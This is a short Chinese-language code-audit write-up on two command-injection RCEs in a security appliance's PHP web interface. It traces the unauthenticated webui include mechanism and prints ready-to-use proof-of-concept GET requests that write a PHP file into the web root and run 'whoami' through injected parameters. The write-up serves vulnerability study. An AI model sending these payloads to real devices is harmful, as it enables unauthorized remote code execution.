先看结构,该套源码未使用框架,所有目录下的php文件可以正常访问
举个例子,在php文件夹下的common文件夹下的Sajax.php可以直接访问
访问index.php是直接到 login.html
在这个html里面,是向这个php进行请求登录
这个php里看到,登录成功之后进入webui,并且会返回客户端cookie
那就来看看webui文件夹,这个文件夹是可以直接访问的,因为没有对其访问进行鉴权,这里包含了很多mod文件
看看mode文件的内容是什么 即通过url来去包含指定的文件
$get_url_param就是通过请求中的g参数来获取的
接下来复审一下2023年一个安全大厂的RCE,可以看到只要g为aaa_portal_auth_config_reset,就可以进到这里来。exec中的命令是直接拼接$type中间无过滤,
那么最终的POC
GET /webui/?g=aaa_portal_auth_config_reset&type=echo '<?php phpinfo(); ?>' >> /usr/local/webui/Ting.php
再来复审同一个安全设备的另外一个RCE 也是很简单 直接拼接的client参数
那么最终poc
GET /sslvpn/sslvpn_client.php?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/1.txt|ls
总结:相比第二RCE,第一个RCE要更难发现一点,因为他不是直接的在php中,而是在php中包含了mod,在mod中包含的mds文件中的php代码,编辑器需要设置将mod、mds扩展的文件识别为php文件,这样更容易发现这个漏洞,不然可能会误认为是注释,而忽略了这部分代码。设置操作如图。